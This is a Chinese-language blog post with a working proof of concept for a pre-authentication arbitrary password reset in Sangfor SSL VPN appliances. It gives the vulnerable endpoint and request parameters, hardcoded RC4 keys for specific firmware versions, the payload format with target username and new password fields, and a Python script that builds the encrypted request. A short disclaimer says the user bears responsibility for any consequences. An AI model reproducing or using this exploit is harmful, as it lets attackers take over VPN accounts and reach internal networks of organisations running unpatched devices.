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测试于：M7.6.1

为啥不测高版本…因为升级到 M7.6.8R2 后新客户端总连不上，同时各种环境开启机子
带不动 Orz

更新：

01. 高版本(如M7.6.8R2) 直接删除相关函数
02. 低版本(如M7.6.6R1) 升级版存在此漏洞
03. 打了 5.x-7.x 补丁的无法利用，然而修补方式是真滴🐂🍺

分析

01. 差不多的逻辑

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均

由使用者本人负责，文章作者不为此承担任何责任。

深信服 SSL VPN Nday - Pre Auth 任
意密码重置

 
字数统计: 323 阅读时长: 1 min
 2020/09/15

#hw2020 #深信服

 Share





javascript:void(0);
javascript:void(0);


2020/9/17 深信服 SSL VPN Nday - Pre Auth 任意密码重置 · Learning Man

https://blog.sari3l.com/posts/9a92d107/ 2/4

02. 唯独多了个 RC4 解密，key 是 20100720

03. 在数据提取中写的有点奇怪,使用 , 和 = 作为分隔符，所以我们的数据也要类似

如：

,username=test,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=QQ123456,
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POC

M7.6.6R1 key 为 20181118
M7.6.1 key 为 20100720

其他版本另寻

https://<path>/por/changepwd.csp 
 
sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN

from Crypto.Cipher import ARC4 
from binascii import a2b_hex 
 
 
def myRC4(data,key): 
    rc41 = ARC4.new(key) 
    encrypted = rc41.encrypt(data) 
    return encrypted.encode('hex') 
 
 
def rc4_decrpt_hex(data,key): 
    rc41 = ARC4.new(key) 
    return rc41.decrypt(a2b_hex(data)) 
key = '20100720' 
data = r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,
print myRC4(data, key)
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效果就不展示了，动图太麻烦
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